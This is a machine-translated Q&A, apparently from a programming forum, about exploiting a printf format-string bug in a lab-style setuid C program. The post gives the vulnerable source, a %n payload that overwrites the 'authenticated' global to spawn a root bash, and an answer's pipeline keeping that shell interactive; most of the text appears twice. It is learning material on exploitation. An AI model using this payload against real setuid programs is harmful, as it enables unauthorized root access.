通过覆盖 %n 生成 root shell 的 Setuid 二进制文件,不适用于 exploit,但在不需要 exploit 时有效
Setuid binary to spawn root shell by overriding %n, does not work with exploit but works when exploit is unnecessary
我有一个带有 printf 格式字符串漏洞的 Setuid 二进制文件,该漏洞应该被“%n”利用来覆盖 authenticated
全局变量的值。 /bin/bash 的执行在 authenticated = 1
时使用 root Setuid 权限,但在 authenticated = 0
和使用漏洞时则不然。
我试过 ls
并且它有效,所以 exec 正在发生。我还尝试在源代码中制作 authenticated = 1
,因此它会自动 运行s bash 而没有漏洞利用。这适用于生成根 shell。当使用漏洞利用时,程序会按预期调用访问权限函数,但在 exec 处结束并且永远不会到达 perror。但是,父进程死亡,这意味着 bash 的 exec 一定已经发生。 Bash 必须正在执行,但它在启动时是 crashing/exiting。
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
int authenticated = 0;
void read_flag() {
if (!authenticated) {
printf("Sorry, you are not *authenticated*!\n");
}
else {
printf("Access Granted.\n");
int cpid = fork();
if(cpid == 0){
printf("child!\n");
execlp("/bin/bash", "bash", NULL);
perror("error");
}
else{
wait(NULL);
}
}
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
setreuid(geteuid(), getuid());
printf("Would you like a shell? (yes/no)\n");
fgets(buf, sizeof(buf), stdin);
if (strstr(buf, "no") != NULL) {
printf("Okay, Exiting...\n");
exit(1);
}
else if (strstr(buf, "yes") == NULL) {
puts("Received Unknown Input:\n");
printf(buf);
}
read_flag();
}
在 authenticated = 0 的情况下,我使用 gdb 查找 authenticated
的地址类似于 0x0804a050。我 运行 带有 AAAA %x %x %x... 的程序发现 buf
从第 4 个堆栈位置开始。然后我的利用是: python -c "print('\x50\xa0\x04\x08%x%x%x%n')"
它成功地覆盖了全局变量,因为 "Access Granted!" 被打印出来了。永远不会达到 perror,并且 Bash 必须产生,但父进程死亡,因此 Bash 进程也必须死亡。
authenticated = 1
时不会发生这种情况。在那种情况下,Setuid 二进制文件的行为符合预期并弹出根 shell.
我的问题是:为什么 Bash 在启动时死机,但只有在 Detuid 二进制文件被利用时才死机?
Bash 肯定快要死了,因为 ps -aux
没有列出新的 Bash 进程,并且 运行ning exit
退出调用 bash 实例。
当您运行其中之一:
python -c "print('\x50\xa0\x04\x08%x%x%x%n')" | ./vuln
./vuln < myPayload
唯一的输入是您的漏洞。您没有输入任何命令,因此 bash 无事可做并退出。这与 运行 true | bash
或 bash < /dev/null
.
时发生的情况相同
如果您希望之后能够手动输入一些命令,最简单的方法是:
{ python -c "print('\x50\xa0\x04\x08%x%x%x%n')"; cat; } | ./vuln
我有一个带有 printf 格式字符串漏洞的 Setuid 二进制文件,该漏洞应该被“%n”利用来覆盖 authenticated
全局变量的值。 /bin/bash 的执行在 authenticated = 1
时使用 root Setuid 权限,但在 authenticated = 0
和使用漏洞时则不然。
我试过 ls
并且它有效,所以 exec 正在发生。我还尝试在源代码中制作 authenticated = 1
,因此它会自动 运行s bash 而没有漏洞利用。这适用于生成根 shell。当使用漏洞利用时,程序会按预期调用访问权限函数,但在 exec 处结束并且永远不会到达 perror。但是,父进程死亡,这意味着 bash 的 exec 一定已经发生。 Bash 必须正在执行,但它在启动时是 crashing/exiting。
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
int authenticated = 0;
void read_flag() {
if (!authenticated) {
printf("Sorry, you are not *authenticated*!\n");
}
else {
printf("Access Granted.\n");
int cpid = fork();
if(cpid == 0){
printf("child!\n");
execlp("/bin/bash", "bash", NULL);
perror("error");
}
else{
wait(NULL);
}
}
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
setreuid(geteuid(), getuid());
printf("Would you like a shell? (yes/no)\n");
fgets(buf, sizeof(buf), stdin);
if (strstr(buf, "no") != NULL) {
printf("Okay, Exiting...\n");
exit(1);
}
else if (strstr(buf, "yes") == NULL) {
puts("Received Unknown Input:\n");
printf(buf);
}
read_flag();
}
在 authenticated = 0 的情况下,我使用 gdb 查找 authenticated
的地址类似于 0x0804a050。我 运行 带有 AAAA %x %x %x... 的程序发现 buf
从第 4 个堆栈位置开始。然后我的利用是: python -c "print('\x50\xa0\x04\x08%x%x%x%n')"
它成功地覆盖了全局变量,因为 "Access Granted!" 被打印出来了。永远不会达到 perror,并且 Bash 必须产生,但父进程死亡,因此 Bash 进程也必须死亡。
authenticated = 1
时不会发生这种情况。在那种情况下,Setuid 二进制文件的行为符合预期并弹出根 shell.
我的问题是:为什么 Bash 在启动时死机,但只有在 Detuid 二进制文件被利用时才死机?
Bash 肯定快要死了,因为 ps -aux
没有列出新的 Bash 进程,并且 运行ning exit
退出调用 bash 实例。
当您运行其中之一:
python -c "print('\x50\xa0\x04\x08%x%x%x%n')" | ./vuln
./vuln < myPayload
唯一的输入是您的漏洞。您没有输入任何命令,因此 bash 无事可做并退出。这与 运行 true | bash
或 bash < /dev/null
.
如果您希望之后能够手动输入一些命令,最简单的方法是:
{ python -c "print('\x50\xa0\x04\x08%x%x%x%n')"; cat; } | ./vuln